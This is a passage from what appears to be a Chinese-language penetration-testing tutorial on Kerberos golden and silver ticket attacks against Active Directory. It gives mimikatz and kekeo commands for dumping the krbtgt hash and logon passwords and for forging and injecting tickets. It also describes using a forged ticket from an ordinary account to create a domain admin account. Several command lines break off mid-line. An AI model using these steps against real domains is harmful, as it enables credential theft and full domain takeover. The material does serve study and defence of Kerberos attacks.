4、伪造任意用户名
登录域管用户,执行 whoami 可以看到是 administrator 用户:

使用以下命令导出用户 krbtgt 的 hash:
1 | mimikatz(commandline) # privilege::debug |

利用 mimikatz 生成金票生成.kirbi 文件并保存:
1 | mimikatz.exe "kerberos::golden /admin:system /domain:moonhack.com /sid: |
/admin:伪造的用户名
/domain:域名称
/sid:SID 值,注意是去掉最后一个-后面的值
/krbtgt:krbtgt 的 HASH 值
/ticket:生成的票据名称 //不是写入内存中的命令

三、金票的使用(普通域账户,利用黄金票据,创建域管账户)
登录域内普通用户,通过 mimikatz 中的 kerberos::ptt 功能将 ticket.kirbi 导入内存 中。
导入票据之前访问域控

1 | mimikatz # kerberos::purge |

注入内存中可以再来访问 dc 可以成功

白银票据 SILVER TICKET
1.原理
如果说黄金票据是伪造的 TGT,那么白银票据就是伪造的 ST。 在 Kerberos 认证的第三步,Client 带着 ST 和 Authenticator3 向 Server 上的某个服务进行请求,Server 接收到 Client 的请求之后,通过自己的 Master Key 解密 ST, 从而获得 Session Key。通过 Session Key 解密 Authenticator3,进而验证对方的身份,验证成功就让 Client 访问 server 上的指定服务了。 所以我们只需要知道 Server 用户的 Hash 就可以伪造出一个 ST,且不会经过 KDC, 但是伪造的门票只对部分服务起作用。
2.特点
不需要与 KDC 进行交互
需要 server 的 NTLM hash
3.具体操作介绍
登录上面创建的域管用户,用管理员权限打开 CMD,cd 到 mimikatz 存放的目录, 去执行 mimikatz 的命令,得到 SID 和 NTLM,
1 | mimikatz.exe "privilege::debug" "sekurlsa::logonpasswords" "exit">log.txt |

先使用 mimikatz 清空票据,再导入伪造的票据,具体伪造票据的命令:
1 | kerberos::purge |

使用方法:
1 | kerberos::golden /domain:<域名> /sid:<域 SID> /target:<目标服务器主机名> /service:<服务类型> /rc4:<NTLM Hash> /user:<用户名> /ptt |
其中的用户名可以随便写
服务类型可以从以下内容中来进行选择,因为我们没有 TGT 去不断申请 ticket, 所以只能针对某一些服务来进行伪造

现在已经有域管的权限了

kekeo 制作环境银票
1 | tgt::ask /user:administrator /domain:moonsec.fbi /ntlm:42e2656ec2433126 |

金票和银票的区别
1. 获取的权限不同
金票:伪造的 TGT,可以获取任意 Kerberos 的访问权限
银票:伪造的 ST,只能访问指定的服务,如 CIFS
2. 认证流程不同
金票:同 KDC 交互,但不同 AS 交互
银票:不同 KDC 交互,直接访问 Server
3. 加密方式不同
金票:由 krbtgt NTLM Hash 加密
银票:由服务账号 NTLM Hash 加密